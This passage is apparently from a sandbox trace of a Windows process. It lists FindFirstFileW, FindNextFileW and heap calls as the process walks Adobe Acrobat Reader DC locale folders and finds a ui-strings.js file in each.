ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0247.428] GetProcessHeap () returned 0xc10000 [0247.428] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.429] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.429] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.429] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.429] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.430] GetProcessHeap () returned 0xc10000 [0247.430] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.430] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0247.430] GetProcessHeap () returned 0xc10000 [0247.430] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.430] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.615] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.615] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.616] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.616] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.616] GetProcessHeap () returned 0xc10000 [0247.616] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.616] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0247.616] GetProcessHeap () returned 0xc10000 [0247.617] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0247.620] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.620] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.620] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.620] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0247.635] GetProcessHeap () returned 0xc10000 [0247.635] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.635] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0247.635] GetProcessHeap () returned 0xc10000 [0247.635] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.637] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.637] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.637] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.637] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.637] GetProcessHeap () returned 0xc10000 [0247.638] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.638] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0247.638] GetProcessHeap () returned 0xc10000 [0247.638] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.638] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.639] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.639] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.639] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.639] GetProcessHeap () returned 0xc10000 [0247.639] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.639] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0247.639] GetProcessHeap () returned 0xc10000 [0247.639] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.641] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.641] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.641] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.641] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.641] GetProcessHeap () returned 0xc10000 [0247.641] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.641] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0247.641] GetProcessHeap () returned 0xc10000 [0247.641] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.642] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.642] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.642] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.642] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.642] GetProcessHeap () returned 0xc10000 [0247.643] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.643] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0247.643] GetProcessHeap () returned 0xc10000 [0247.643] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.643] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.644] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.644] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.644] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.644] GetProcessHeap () returned 0xc10000 [0247.644] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, 